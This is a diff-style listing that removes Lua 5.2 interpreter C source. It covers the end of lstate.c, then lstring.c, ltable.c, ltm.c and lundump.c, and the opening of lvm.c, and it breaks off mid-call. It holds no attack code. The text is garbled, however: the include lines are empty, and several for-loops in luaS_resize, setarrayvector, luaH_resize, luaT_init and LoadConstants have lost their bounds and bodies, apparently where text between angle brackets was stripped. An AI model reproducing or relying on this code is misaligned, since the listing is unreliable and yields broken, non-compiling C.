luai_userstatethread(L, L1); - stack_init(L1, L); /* init stack */ - lua_unlock(L); - return L1; -} - - -void luaE_freethread (lua_State *L, lua_State *L1) { - LX *l = fromstate(L1); - luaF_close(L1, L1->stack); /* close all upvalues for this thread */ - lua_assert(L1->openupval == NULL); - luai_userstatefree(L, L1); - freestack(L1); - luaM_free(L, l); -} - - -LUA_API lua_State *lua_newstate (lua_Alloc f, void *ud) { - int i; - lua_State *L; - global_State *g; - LG *l = cast(LG *, (*f)(ud, NULL, LUA_TTHREAD, sizeof(LG))); - if (l == NULL) return NULL; - L = &l->l.l; - g = &l->g; - L->next = NULL; - L->tt = LUA_TTHREAD; - g->currentwhite = bit2mask(WHITE0BIT, FIXEDBIT); - L->marked = luaC_white(g); - g->gckind = KGC_NORMAL; - preinit_state(L, g); - g->frealloc = f; - g->ud = ud; - g->mainthread = L; - g->seed = makeseed(L); - g->uvhead.u.l.prev = &g->uvhead; - g->uvhead.u.l.next = &g->uvhead; - g->gcrunning = 0; /* no GC while building state */ - g->GCestimate = 0; - g->strt.size = 0; - g->strt.nuse = 0; - g->strt.hash = NULL; - setnilvalue(&g->l_registry); - luaZ_initbuffer(L, &g->buff); - g->panic = NULL; - g->version = lua_version(NULL); - g->gcstate = GCSpause; - g->allgc = NULL; - g->finobj = NULL; - g->tobefnz = NULL; - g->sweepgc = g->sweepfin = NULL; - g->gray = g->grayagain = NULL; - g->weak = g->ephemeron = g->allweak = NULL; - g->totalbytes = sizeof(LG); - g->GCdebt = 0; - g->gcpause = LUAI_GCPAUSE; - g->gcmajorinc = LUAI_GCMAJOR; - g->gcstepmul = LUAI_GCMUL; - for (i=0; i < LUA_NUMTAGS; i++) g->mt[i] = NULL; - if (luaD_rawrunprotected(L, f_luaopen, NULL) != LUA_OK) { - /* memory allocation error: free partial state */ - close_state(L); - L = NULL; - } - else - luai_userstateopen(L); - return L; -} - - -LUA_API void lua_close (lua_State *L) { - L = G(L)->mainthread; /* only the main thread can be closed */ - lua_lock(L); - luai_userstateclose(L); - close_state(L); -} - - -/* -** $Id: lstring.c,v 2.24 2012/05/11 14:14:42 roberto Exp $ -** String table (keeps all strings handled by Lua) -** See Copyright Notice in lua.h -*/ - - -#include - -#define lstring_c -#define LUA_CORE - - - - -/* -** Lua will use at most ~(2^LUAI_HASHLIMIT) bytes from a string to -** compute its hash -*/ -#if !defined(LUAI_HASHLIMIT) -#define LUAI_HASHLIMIT 5 -#endif - - -/* -** equality for long strings -*/ -int luaS_eqlngstr (TString *a, TString *b) { - size_t len = a->tsv.len; - lua_assert(a->tsv.tt == LUA_TLNGSTR && b->tsv.tt == LUA_TLNGSTR); - return (a == b) || /* same instance or... */ - ((len == b->tsv.len) && /* equal length and ... */ - (memcmp(getstr(a), getstr(b), len) == 0)); /* equal contents */ -} - - -/* -** equality for strings -*/ -int luaS_eqstr (TString *a, TString *b) { - return (a->tsv.tt == b->tsv.tt) && - (a->tsv.tt == LUA_TSHRSTR ? eqshrstr(a, b) : luaS_eqlngstr(a, b)); -} - - -unsigned int luaS_hash (const char *str, size_t l, unsigned int seed) { - unsigned int h = seed ^ l; - size_t l1; - size_t step = (l >> LUAI_HASHLIMIT) + 1; - for (l1 = l; l1 >= step; l1 -= step) - h = h ^ ((h<<5) + (h>>2) + cast_byte(str[l1 - 1])); - return h; -} - - -/* -** resizes the string table -*/ -void luaS_resize (lua_State *L, int newsize) { - int i; - stringtable *tb = &G(L)->strt; - /* cannot resize while GC is traversing strings */ - luaC_runtilstate(L, ~bitmask(GCSsweepstring)); - if (newsize > tb->size) { - luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); - for (i = tb->size; i < newsize; i++) tb->hash[i] = NULL; - } - /* rehash */ - for (i=0; isize; i++) { - GCObject *p = tb->hash[i]; - tb->hash[i] = NULL; - while (p) { /* for each node in the list */ - GCObject *next = gch(p)->next; /* save next */ - unsigned int h = lmod(gco2ts(p)->hash, newsize); /* new position */ - gch(p)->next = tb->hash[h]; /* chain it */ - tb->hash[h] = p; - resetoldbit(p); /* see MOVE OLD rule */ - p = next; - } - } - if (newsize < tb->size) { - /* shrinking slice must be empty */ - lua_assert(tb->hash[newsize] == NULL && tb->hash[tb->size - 1] == NULL); - luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); - } - tb->size = newsize; -} - - -/* -** creates a new string object -*/ -static TString *createstrobj (lua_State *L, const char *str, size_t l, - int tag, unsigned int h, GCObject **list) { - TString *ts; - size_t totalsize; /* total size of TString object */ - totalsize = sizeof(TString) + ((l + 1) * sizeof(char)); - ts = &luaC_newobj(L, tag, totalsize, list, 0)->ts; - ts->tsv.len = l; - ts->tsv.hash = h; - ts->tsv.extra = 0; - memcpy(ts+1, str, l*sizeof(char)); - ((char *)(ts+1))[l] = '\0'; /* ending 0 */ - return ts; -} - - -/* -** creates a new short string, inserting it into string table -*/ -static TString *newshrstr (lua_State *L, const char *str, size_t l, - unsigned int h) { - GCObject **list; /* (pointer to) list where it will be inserted */ - stringtable *tb = &G(L)->strt; - TString *s; - if (tb->nuse >= cast(lu_int32, tb->size) && tb->size <= MAX_INT/2) - luaS_resize(L, tb->size*2); /* too crowded */ - list = &tb->hash[lmod(h, tb->size)]; - s = createstrobj(L, str, l, LUA_TSHRSTR, h, list); - tb->nuse++; - return s; -} - - -/* -** checks whether short string exists and reuses it or creates a new one -*/ -static TString *internshrstr (lua_State *L, const char *str, size_t l) { - GCObject *o; - global_State *g = G(L); - unsigned int h = luaS_hash(str, l, g->seed); - for (o = g->strt.hash[lmod(h, g->strt.size)]; - o != NULL; - o = gch(o)->next) { - TString *ts = rawgco2ts(o); - if (h == ts->tsv.hash && - ts->tsv.len == l && - (memcmp(str, getstr(ts), l * sizeof(char)) == 0)) { - if (isdead(G(L), o)) /* string is dead (but was not collected yet)? */ - changewhite(o); /* resurrect it */ - return ts; - } - } - return newshrstr(L, str, l, h); /* not found; create a new string */ -} - - -/* -** new string (with explicit length) -*/ -TString *luaS_newlstr (lua_State *L, const char *str, size_t l) { - if (l <= LUAI_MAXSHORTLEN) /* short string? */ - return internshrstr(L, str, l); - else { - if (l + 1 > (MAX_SIZET - sizeof(TString))/sizeof(char)) - luaM_toobig(L); - return createstrobj(L, str, l, LUA_TLNGSTR, G(L)->seed, NULL); - } -} - - -/* -** new zero-terminated string -*/ -TString *luaS_new (lua_State *L, const char *str) { - return luaS_newlstr(L, str, strlen(str)); -} - - -Udata *luaS_newudata (lua_State *L, size_t s, Table *e) { - Udata *u; - if (s > MAX_SIZET - sizeof(Udata)) - luaM_toobig(L); - u = &luaC_newobj(L, LUA_TUSERDATA, sizeof(Udata) + s, NULL, 0)->u; - u->uv.len = s; - u->uv.metatable = NULL; - u->uv.env = e; - return u; -} - -/* -** $Id: ltable.c,v 2.71 2012/05/23 15:37:09 roberto Exp $ -** Lua tables (hash) -** See Copyright Notice in lua.h -*/ - - -/* -** Implementation of tables (aka arrays, objects, or hash tables). -** Tables keep its elements in two parts: an array part and a hash part. -** Non-negative integer keys are all candidates to be kept in the array -** part. The actual size of the array is the largest `n' such that at -** least half the slots between 0 and n are in use. -** Hash uses a mix of chained scatter table with Brent's variation. -** A main invariant of these tables is that, if an element is not -** in its main position (i.e. the `original' position that its hash gives -** to it), then the colliding element is in its own main position. -** Hence even when the load factor reaches 100%, performance remains good. -*/ - -#include - -#define ltable_c -#define LUA_CORE - - - - -/* -** max size of array part is 2^MAXBITS -*/ -#if LUAI_BITSINT >= 32 -#define MAXBITS 30 -#else -#define MAXBITS (LUAI_BITSINT-2) -#endif - -#define MAXASIZE (1 << MAXBITS) - - -#define hashpow2(t,n) (gnode(t, lmod((n), sizenode(t)))) - -#define hashstr(t,str) hashpow2(t, (str)->tsv.hash) -#define hashboolean(t,p) hashpow2(t, p) - - -/* -** for some types, it is better to avoid modulus by power of 2, as -** they tend to have many 2 factors. -*/ -#define hashmod(t,n) (gnode(t, ((n) % ((sizenode(t)-1)|1)))) - - -#define hashpointer(t,p) hashmod(t, IntPoint(p)) - - -#define dummynode (&dummynode_) - -#define isdummy(n) ((n) == dummynode) - -static const Node dummynode_ = { - {NILCONSTANT}, /* value */ - {{NILCONSTANT, NULL}} /* key */ -}; - - -/* -** hash for lua_Numbers -*/ -static Node *hashnum (const Table *t, lua_Number n) { - int i; - luai_hashnum(i, n); - if (i < 0) { - if (cast(unsigned int, i) == 0u - i) /* use unsigned to avoid overflows */ - i = 0; /* handle INT_MIN */ - i = -i; /* must be a positive value */ - } - return hashmod(t, i); -} - - - -/* -** returns the `main' position of an element in a table (that is, the index -** of its hash value) -*/ -static Node *mainposition (const Table *t, const TValue *key) { - switch (ttype(key)) { - case LUA_TNUMBER: - return hashnum(t, nvalue(key)); - case LUA_TLNGSTR: { - TString *s = rawtsvalue(key); - if (s->tsv.extra == 0) { /* no hash? */ - s->tsv.hash = luaS_hash(getstr(s), s->tsv.len, s->tsv.hash); - s->tsv.extra = 1; /* now it has its hash */ - } - return hashstr(t, rawtsvalue(key)); - } - case LUA_TSHRSTR: - return hashstr(t, rawtsvalue(key)); - case LUA_TBOOLEAN: - return hashboolean(t, bvalue(key)); - case LUA_TLIGHTUSERDATA: - return hashpointer(t, pvalue(key)); - case LUA_TLCF: - return hashpointer(t, fvalue(key)); - default: - return hashpointer(t, gcvalue(key)); - } -} - - -/* -** returns the index for `key' if `key' is an appropriate key to live in -** the array part of the table, -1 otherwise. -*/ -static int arrayindex (const TValue *key) { - if (ttisnumber(key)) { - lua_Number n = nvalue(key); - int k; - lua_number2int(k, n); - if (luai_numeq(cast_num(k), n)) - return k; - } - return -1; /* `key' did not match some condition */ -} - - -/* -** returns the index of a `key' for table traversals. First goes all -** elements in the array part, then elements in the hash part. The -** beginning of a traversal is signaled by -1. -*/ -static int findindex (lua_State *L, Table *t, StkId key) { - int i; - if (ttisnil(key)) return -1; /* first iteration */ - i = arrayindex(key); - if (0 < i && i <= t->sizearray) /* is `key' inside array part? */ - return i-1; /* yes; that's the index (corrected to C) */ - else { - Node *n = mainposition(t, key); - for (;;) { /* check whether `key' is somewhere in the chain */ - /* key may be dead already, but it is ok to use it in `next' */ - if (luaV_rawequalobj(gkey(n), key) || - (ttisdeadkey(gkey(n)) && iscollectable(key) && - deadvalue(gkey(n)) == gcvalue(key))) { - i = cast_int(n - gnode(t, 0)); /* key index in hash table */ - /* hash elements are numbered after array ones */ - return i + t->sizearray; - } - else n = gnext(n); - if (n == NULL) - luaG_runerror(L, "invalid key to " LUA_QL("next")); /* key not found */ - } - } -} - - -int luaH_next (lua_State *L, Table *t, StkId key) { - int i = findindex(L, t, key); /* find original element */ - for (i++; i < t->sizearray; i++) { /* try first array part */ - if (!ttisnil(&t->array[i])) { /* a non-nil value? */ - setnvalue(key, cast_num(i+1)); - setobj2s(L, key+1, &t->array[i]); - return 1; - } - } - for (i -= t->sizearray; i < sizenode(t); i++) { /* then hash part */ - if (!ttisnil(gval(gnode(t, i)))) { /* a non-nil value? */ - setobj2s(L, key, gkey(gnode(t, i))); - setobj2s(L, key+1, gval(gnode(t, i))); - return 1; - } - } - return 0; /* no more elements */ -} - - -/* -** {============================================================= -** Rehash -** ============================================================== -*/ - - -static int computesizes (int nums[], int *narray) { - int i; - int twotoi; /* 2^i */ - int a = 0; /* number of elements smaller than 2^i */ - int na = 0; /* number of elements to go to array part */ - int n = 0; /* optimal size for array part */ - for (i = 0, twotoi = 1; twotoi/2 < *narray; i++, twotoi *= 2) { - if (nums[i] > 0) { - a += nums[i]; - if (a > twotoi/2) { /* more than half elements present? */ - n = twotoi; /* optimal size (till now) */ - na = a; /* all elements smaller than n will go to array part */ - } - } - if (a == *narray) break; /* all elements already counted */ - } - *narray = n; - lua_assert(*narray/2 <= na && na <= *narray); - return na; -} - - -static int countint (const TValue *key, int *nums) { - int k = arrayindex(key); - if (0 < k && k <= MAXASIZE) { /* is `key' an appropriate array index? */ - nums[luaO_ceillog2(k)]++; /* count as such */ - return 1; - } - else - return 0; -} - - -static int numusearray (const Table *t, int *nums) { - int lg; - int ttlg; /* 2^lg */ - int ause = 0; /* summation of `nums' */ - int i = 1; /* count to traverse all array keys */ - for (lg=0, ttlg=1; lg<=MAXBITS; lg++, ttlg*=2) { /* for each slice */ - int lc = 0; /* counter */ - int lim = ttlg; - if (lim > t->sizearray) { - lim = t->sizearray; /* adjust upper limit */ - if (i > lim) - break; /* no more elements to count */ - } - /* count elements in range (2^(lg-1), 2^lg] */ - for (; i <= lim; i++) { - if (!ttisnil(&t->array[i-1])) - lc++; - } - nums[lg] += lc; - ause += lc; - } - return ause; -} - - -static int numusehash (const Table *t, int *nums, int *pnasize) { - int totaluse = 0; /* total number of elements */ - int ause = 0; /* summation of `nums' */ - int i = sizenode(t); - while (i--) { - Node *n = &t->node[i]; - if (!ttisnil(gval(n))) { - ause += countint(gkey(n), nums); - totaluse++; - } - } - *pnasize += ause; - return totaluse; -} - - -static void setarrayvector (lua_State *L, Table *t, int size) { - int i; - luaM_reallocvector(L, t->array, t->sizearray, size, TValue); - for (i=t->sizearray; iarray[i]); - t->sizearray = size; -} - - -static void setnodevector (lua_State *L, Table *t, int size) { - int lsize; - if (size == 0) { /* no elements to hash part? */ - t->node = cast(Node *, dummynode); /* use common `dummynode' */ - lsize = 0; - } - else { - int i; - lsize = luaO_ceillog2(size); - if (lsize > MAXBITS) - luaG_runerror(L, "table overflow"); - size = twoto(lsize); - t->node = luaM_newvector(L, size, Node); - for (i=0; ilsizenode = cast_byte(lsize); - t->lastfree = gnode(t, size); /* all positions are free */ -} - - -void luaH_resize (lua_State *L, Table *t, int nasize, int nhsize) { - int i; - int oldasize = t->sizearray; - int oldhsize = t->lsizenode; - Node *nold = t->node; /* save old hash ... */ - if (nasize > oldasize) /* array part must grow? */ - setarrayvector(L, t, nasize); - /* create new hash part with appropriate size */ - setnodevector(L, t, nhsize); - if (nasize < oldasize) { /* array part must shrink? */ - t->sizearray = nasize; - /* re-insert elements from vanishing slice */ - for (i=nasize; iarray[i])) - luaH_setint(L, t, i + 1, &t->array[i]); - } - /* shrink array */ - luaM_reallocvector(L, t->array, oldasize, nasize, TValue); - } - /* re-insert elements from hash part */ - for (i = twoto(oldhsize) - 1; i >= 0; i--) { - Node *old = nold+i; - if (!ttisnil(gval(old))) { - /* doesn't need barrier/invalidate cache, as entry was - already present in the table */ - setobjt2t(L, luaH_set(L, t, gkey(old)), gval(old)); - } - } - if (!isdummy(nold)) - luaM_freearray(L, nold, cast(size_t, twoto(oldhsize))); /* free old array */ -} - - -void luaH_resizearray (lua_State *L, Table *t, int nasize) { - int nsize = isdummy(t->node) ? 0 : sizenode(t); - luaH_resize(L, t, nasize, nsize); -} - - -static void rehash (lua_State *L, Table *t, const TValue *ek) { - int nasize, na; - int nums[MAXBITS+1]; /* nums[i] = number of keys with 2^(i-1) < k <= 2^i */ - int i; - int totaluse; - for (i=0; i<=MAXBITS; i++) nums[i] = 0; /* reset counts */ - nasize = numusearray(t, nums); /* count keys in array part */ - totaluse = nasize; /* all those keys are integer keys */ - totaluse += numusehash(t, nums, &nasize); /* count keys in hash part */ - /* count extra key */ - nasize += countint(ek, nums); - totaluse++; - /* compute new size for array part */ - na = computesizes(nums, &nasize); - /* resize the table to new computed sizes */ - luaH_resize(L, t, nasize, totaluse - na); -} - - - -/* -** }============================================================= -*/ - - -Table *luaH_new (lua_State *L) { - Table *t = &luaC_newobj(L, LUA_TTABLE, sizeof(Table), NULL, 0)->h; - t->metatable = NULL; - t->flags = cast_byte(~0); - t->array = NULL; - t->sizearray = 0; - setnodevector(L, t, 0); - return t; -} - - -void luaH_free (lua_State *L, Table *t) { - if (!isdummy(t->node)) - luaM_freearray(L, t->node, cast(size_t, sizenode(t))); - luaM_freearray(L, t->array, t->sizearray); - luaM_free(L, t); -} - - -static Node *getfreepos (Table *t) { - while (t->lastfree > t->node) { - t->lastfree--; - if (ttisnil(gkey(t->lastfree))) - return t->lastfree; - } - return NULL; /* could not find a free place */ -} - - - -/* -** inserts a new key into a hash table; first, check whether key's main -** position is free. If not, check whether colliding node is in its main -** position or not: if it is not, move colliding node to an empty place and -** put new key in its main position; otherwise (colliding node is in its main -** position), new key goes to an empty position. -*/ -TValue *luaH_newkey (lua_State *L, Table *t, const TValue *key) { - Node *mp; - if (ttisnil(key)) luaG_runerror(L, "table index is nil"); - else if (ttisnumber(key) && luai_numisnan(L, nvalue(key))) - luaG_runerror(L, "table index is NaN"); - mp = mainposition(t, key); - if (!ttisnil(gval(mp)) || isdummy(mp)) { /* main position is taken? */ - Node *othern; - Node *n = getfreepos(t); /* get a free place */ - if (n == NULL) { /* cannot find a free place? */ - rehash(L, t, key); /* grow table */ - /* whatever called 'newkey' take care of TM cache and GC barrier */ - return luaH_set(L, t, key); /* insert key into grown table */ - } - lua_assert(!isdummy(n)); - othern = mainposition(t, gkey(mp)); - if (othern != mp) { /* is colliding node out of its main position? */ - /* yes; move colliding node into free position */ - while (gnext(othern) != mp) othern = gnext(othern); /* find previous */ - gnext(othern) = n; /* redo the chain with `n' in place of `mp' */ - *n = *mp; /* copy colliding node into free pos. (mp->next also goes) */ - gnext(mp) = NULL; /* now `mp' is free */ - setnilvalue(gval(mp)); - } - else { /* colliding node is in its own main position */ - /* new node will go into free position */ - gnext(n) = gnext(mp); /* chain new position */ - gnext(mp) = n; - mp = n; - } - } - setobj2t(L, gkey(mp), key); - luaC_barrierback(L, obj2gco(t), key); - lua_assert(ttisnil(gval(mp))); - return gval(mp); -} - - -/* -** search function for integers -*/ -const TValue *luaH_getint (Table *t, int key) { - /* (1 <= key && key <= t->sizearray) */ - if (cast(unsigned int, key-1) < cast(unsigned int, t->sizearray)) - return &t->array[key-1]; - else { - lua_Number nk = cast_num(key); - Node *n = hashnum(t, nk); - do { /* check whether `key' is somewhere in the chain */ - if (ttisnumber(gkey(n)) && luai_numeq(nvalue(gkey(n)), nk)) - return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; - } -} - - -/* -** search function for short strings -*/ -const TValue *luaH_getstr (Table *t, TString *key) { - Node *n = hashstr(t, key); - lua_assert(key->tsv.tt == LUA_TSHRSTR); - do { /* check whether `key' is somewhere in the chain */ - if (ttisshrstring(gkey(n)) && eqshrstr(rawtsvalue(gkey(n)), key)) - return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; -} - - -/* -** main search function -*/ -const TValue *luaH_get (Table *t, const TValue *key) { - switch (ttype(key)) { - case LUA_TNIL: return luaO_nilobject; - case LUA_TSHRSTR: return luaH_getstr(t, rawtsvalue(key)); - case LUA_TNUMBER: { - int k; - lua_Number n = nvalue(key); - lua_number2int(k, n); - if (luai_numeq(cast_num(k), nvalue(key))) /* index is int? */ - return luaH_getint(t, k); /* use specialized version */ - /* else go through */ - } - default: { - Node *n = mainposition(t, key); - do { /* check whether `key' is somewhere in the chain */ - if (luaV_rawequalobj(gkey(n), key)) - return gval(n); /* that's it */ - else n = gnext(n); - } while (n); - return luaO_nilobject; - } - } -} - - -/* -** beware: when using this function you probably need to check a GC -** barrier and invalidate the TM cache. -*/ -TValue *luaH_set (lua_State *L, Table *t, const TValue *key) { - const TValue *p = luaH_get(t, key); - if (p != luaO_nilobject) - return cast(TValue *, p); - else return luaH_newkey(L, t, key); -} - - -void luaH_setint (lua_State *L, Table *t, int key, TValue *value) { - const TValue *p = luaH_getint(t, key); - TValue *cell; - if (p != luaO_nilobject) - cell = cast(TValue *, p); - else { - TValue k; - setnvalue(&k, cast_num(key)); - cell = luaH_newkey(L, t, &k); - } - setobj2t(L, cell, value); -} - - -static int unbound_search (Table *t, unsigned int j) { - unsigned int i = j; /* i is zero or a present index */ - j++; - /* find `i' and `j' such that i is present and j is not */ - while (!ttisnil(luaH_getint(t, j))) { - i = j; - j *= 2; - if (j > cast(unsigned int, MAX_INT)) { /* overflow? */ - /* table was built with bad purposes: resort to linear search */ - i = 1; - while (!ttisnil(luaH_getint(t, i))) i++; - return i - 1; - } - } - /* now do a binary search between them */ - while (j - i > 1) { - unsigned int m = (i+j)/2; - if (ttisnil(luaH_getint(t, m))) j = m; - else i = m; - } - return i; -} - - -/* -** Try to find a boundary in table `t'. A `boundary' is an integer index -** such that t[i] is non-nil and t[i+1] is nil (and 0 if t[1] is nil). -*/ -int luaH_getn (Table *t) { - unsigned int j = t->sizearray; - if (j > 0 && ttisnil(&t->array[j - 1])) { - /* there is a boundary in the array part: (binary) search for it */ - unsigned int i = 0; - while (j - i > 1) { - unsigned int m = (i+j)/2; - if (ttisnil(&t->array[m - 1])) j = m; - else i = m; - } - return i; - } - /* else must find a boundary in hash part */ - else if (isdummy(t->node)) /* hash part is empty? */ - return j; /* that is easy... */ - else return unbound_search(t, j); -} - - - -#if defined(LUA_DEBUG) - -Node *luaH_mainposition (const Table *t, const TValue *key) { - return mainposition(t, key); -} - -int luaH_isdummy (Node *n) { return isdummy(n); } - -#endif -/* -** $Id: ltm.c,v 2.14 2011/06/02 19:31:40 roberto Exp $ -** Tag methods -** See Copyright Notice in lua.h -*/ - - -#include - -#define ltm_c -#define LUA_CORE - - - - -static const char udatatypename[] = "userdata"; - -LUAI_DDEF const char *const luaT_typenames_[LUA_TOTALTAGS] = { - "no value", - "nil", "boolean", udatatypename, "number", - "string", "table", "function", udatatypename, "thread", - "proto", "upval" /* these last two cases are used for tests only */ -}; - - -void luaT_init (lua_State *L) { - static const char *const luaT_eventname[] = { /* ORDER TM */ - "__index", "__newindex", - "__gc", "__mode", "__len", "__eq", - "__add", "__sub", "__mul", "__div", "__mod", - "__pow", "__unm", "__lt", "__le", - "__concat", "__call" - }; - int i; - for (i=0; itmname[i] = luaS_new(L, luaT_eventname[i]); - luaS_fix(G(L)->tmname[i]); /* never collect these names */ - } -} - - -/* -** function to be used with macro "fasttm": optimized for absence of -** tag methods -*/ -const TValue *luaT_gettm (Table *events, TMS event, TString *ename) { - const TValue *tm = luaH_getstr(events, ename); - lua_assert(event <= TM_EQ); - if (ttisnil(tm)) { /* no tag method? */ - events->flags |= cast_byte(1u<metatable; - break; - case LUA_TUSERDATA: - mt = uvalue(o)->metatable; - break; - default: - mt = G(L)->mt[ttypenv(o)]; - } - return (mt ? luaH_getstr(mt, G(L)->tmname[event]) : luaO_nilobject); -} - -/* -** $Id: lundump.c,v 2.22 2012/05/08 13:53:33 roberto Exp $ -** load precompiled Lua chunks -** See Copyright Notice in lua.h -*/ - -#include - -#define lundump_c -#define LUA_CORE - - - -typedef struct { - lua_State* L; - ZIO* Z; - Mbuffer* b; - const char* name; -} LoadState; - -static l_noret error(LoadState* S, const char* why) -{ - luaO_pushfstring(S->L,"%s: %s precompiled chunk",S->name,why); - luaD_throw(S->L,LUA_ERRSYNTAX); -} - -#define LoadMem(S,b,n,size) LoadBlock(S,b,(n)*(size)) -#define LoadByte(S) (lu_byte)LoadChar(S) -#define LoadVar(S,x) LoadMem(S,&x,1,sizeof(x)) -#define LoadVector(S,b,n,size) LoadMem(S,b,n,size) - -#if !defined(luai_verifycode) -#define luai_verifycode(L,b,f) /* empty */ -#endif - -static void LoadBlock(LoadState* S, void* b, size_t size) -{ - if (luaZ_read(S->Z,b,size)!=0) error(S,"truncated"); -} - -static int LoadChar(LoadState* S) -{ - char x; - LoadVar(S,x); - return x; -} - -static int LoadInt(LoadState* S) -{ - int x; - LoadVar(S,x); - if (x<0) error(S,"corrupted"); - return x; -} - -static lua_Number LoadNumber(LoadState* S) -{ - lua_Number x; - LoadVar(S,x); - return x; -} - -static TString* LoadString(LoadState* S) -{ - size_t size; - LoadVar(S,size); - if (size==0) - return NULL; - else - { - char* s=luaZ_openspace(S->L,S->b,size); - LoadBlock(S,s,size*sizeof(char)); - return luaS_newlstr(S->L,s,size-1); /* remove trailing '\0' */ - } -} - -static void LoadCode(LoadState* S, Proto* f) -{ - int n=LoadInt(S); - f->code=luaM_newvector(S->L,n,Instruction); - f->sizecode=n; - LoadVector(S,f->code,n,sizeof(Instruction)); -} - -static void LoadFunction(LoadState* S, Proto* f); - -static void LoadConstants(LoadState* S, Proto* f) -{ - int i,n; - n=LoadInt(S); - f->k=luaM_newvector(S->L,n,TValue); - f->sizek=n; - for (i=0; ik[i]); - for (i=0; ik[i]; - int t=LoadChar(S); - switch (t) - { - case LUA_TNIL: - setnilvalue(o); - break; - case LUA_TBOOLEAN: - setbvalue(o,LoadChar(S)); - break; - case LUA_TNUMBER: - setnvalue(o,LoadNumber(S)); - break; - case LUA_TSTRING: - setsvalue2n(S->L,o,LoadString(S)); - break; - default: lua_assert(0); - } - } - n=LoadInt(S); - f->p=luaM_newvector(S->L,n,Proto*); - f->sizep=n; - for (i=0; ip[i]=NULL; - for (i=0; ip[i]=luaF_newproto(S->L); - LoadFunction(S,f->p[i]); - } -} - -static void LoadUpvalues(LoadState* S, Proto* f) -{ - int i,n; - n=LoadInt(S); - f->upvalues=luaM_newvector(S->L,n,Upvaldesc); - f->sizeupvalues=n; - for (i=0; iupvalues[i].name=NULL; - for (i=0; iupvalues[i].instack=LoadByte(S); - f->upvalues[i].idx=LoadByte(S); - } -} - -static void LoadDebug(LoadState* S, Proto* f) -{ - int i,n; - f->source=LoadString(S); - n=LoadInt(S); - f->lineinfo=luaM_newvector(S->L,n,int); - f->sizelineinfo=n; - LoadVector(S,f->lineinfo,n,sizeof(int)); - n=LoadInt(S); - f->locvars=luaM_newvector(S->L,n,LocVar); - f->sizelocvars=n; - for (i=0; ilocvars[i].varname=NULL; - for (i=0; ilocvars[i].varname=LoadString(S); - f->locvars[i].startpc=LoadInt(S); - f->locvars[i].endpc=LoadInt(S); - } - n=LoadInt(S); - for (i=0; iupvalues[i].name=LoadString(S); -} - -static void LoadFunction(LoadState* S, Proto* f) -{ - f->linedefined=LoadInt(S); - f->lastlinedefined=LoadInt(S); - f->numparams=LoadByte(S); - f->is_vararg=LoadByte(S); - f->maxstacksize=LoadByte(S); - LoadCode(S,f); - LoadConstants(S,f); - LoadUpvalues(S,f); - LoadDebug(S,f); -} - -/* the code below must be consistent with the code in luaU_header */ -#define N0 LUAC_HEADERSIZE -#define N1 (sizeof(LUA_SIGNATURE)-sizeof(char)) -#define N2 N1+2 -#define N3 N2+6 - -static void LoadHeader(LoadState* S) -{ - lu_byte h[LUAC_HEADERSIZE]; - lu_byte s[LUAC_HEADERSIZE]; - luaU_header(h); - memcpy(s,h,sizeof(char)); /* first char already read */ - LoadBlock(S,s+sizeof(char),LUAC_HEADERSIZE-sizeof(char)); - if (memcmp(h,s,N0)==0) return; - if (memcmp(h,s,N1)!=0) error(S,"not a"); - if (memcmp(h,s,N2)!=0) error(S,"version mismatch in"); - if (memcmp(h,s,N3)!=0) error(S,"incompatible"); else error(S,"corrupted"); -} - -/* -** load precompiled chunk -*/ -Closure* luaU_undump (lua_State* L, ZIO* Z, Mbuffer* buff, const char* name) -{ - LoadState S; - Closure* cl; - if (*name=='@' || *name=='=') - S.name=name+1; - else if (*name==LUA_SIGNATURE[0]) - S.name="binary string"; - else - S.name=name; - S.L=L; - S.Z=Z; - S.b=buff; - LoadHeader(&S); - cl=luaF_newLclosure(L,1); - setclLvalue(L,L->top,cl); incr_top(L); - cl->l.p=luaF_newproto(L); - LoadFunction(&S,cl->l.p); - if (cl->l.p->sizeupvalues != 1) - { - Proto* p=cl->l.p; - cl=luaF_newLclosure(L,cl->l.p->sizeupvalues); - cl->l.p=p; - setclLvalue(L,L->top-1,cl); - } - luai_verifycode(L,buff,cl->l.p); - return cl; -} - -#define MYINT(s) (s[0]-'0') -#define VERSION MYINT(LUA_VERSION_MAJOR)*16+MYINT(LUA_VERSION_MINOR) -#define FORMAT 0 /* this is the official format */ - -/* -* make header for precompiled chunks -* if you change the code below be sure to update LoadHeader and FORMAT above -* and LUAC_HEADERSIZE in lundump.h -*/ -void luaU_header (lu_byte* h) -{ - int x=1; - memcpy(h,LUA_SIGNATURE,sizeof(LUA_SIGNATURE)-sizeof(char)); - h+=sizeof(LUA_SIGNATURE)-sizeof(char); - *h++=cast_byte(VERSION); - *h++=cast_byte(FORMAT); - *h++=cast_byte(*(char*)&x); /* endianness */ - *h++=cast_byte(sizeof(int)); - *h++=cast_byte(sizeof(size_t)); - *h++=cast_byte(sizeof(Instruction)); - *h++=cast_byte(sizeof(lua_Number)); - *h++=cast_byte(((lua_Number)0.5)==0); /* is lua_Number integral? */ - memcpy(h,LUAC_TAIL,sizeof(LUAC_TAIL)-sizeof(char)); -} -/* -** $Id: lvm.c,v 2.152 2012/06/08 15:14:04 roberto Exp $ -** Lua virtual machine -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include - -#define lvm_c -#define LUA_CORE - - - - - -/* limit for table tag-method chains (to avoid loops) */ -#define MAXTAGLOOP 100 - - -const TValue *luaV_tonumber (const TValue *obj, TValue *n) { - lua_Number num; - if (ttisnumber(obj)) return obj; - if (ttisstring(obj) && luaO_str2d(svalue(obj), tsvalue(obj)->len, &num)) { - setnvalue(n, num); - return n; - } - else - return NULL; -} - - -int luaV_tostring (lua_State *L, StkId obj) { - if (!ttisnumber(obj)) - return 0; - else { - char s[LUAI_MAXNUMBER2STR]; - lua_Number n = nvalue(obj); - int l = lua_number2str(s, n); - setsvalue2s(L, obj, luaS_newlstr(L, s, l)); - return 1; - } -} - - -static void traceexec (lua_State *L) { - CallInfo *ci = L->ci; - lu_byte mask = L->hookmask; - int counthook = ((mask & LUA_MASKCOUNT) && L->hookcount == 0); - if (counthook) - resethookcount(L); /* reset count */ - if (ci->callstatus & CIST_HOOKYIELD) { /* called hook last time? */ - ci->callstatus &= ~CIST_HOOKYIELD; /* erase mark */ - return; /* do not call hook again (VM yielded, so it did not move) */ - } - if (counthook) - luaD_hook(L, 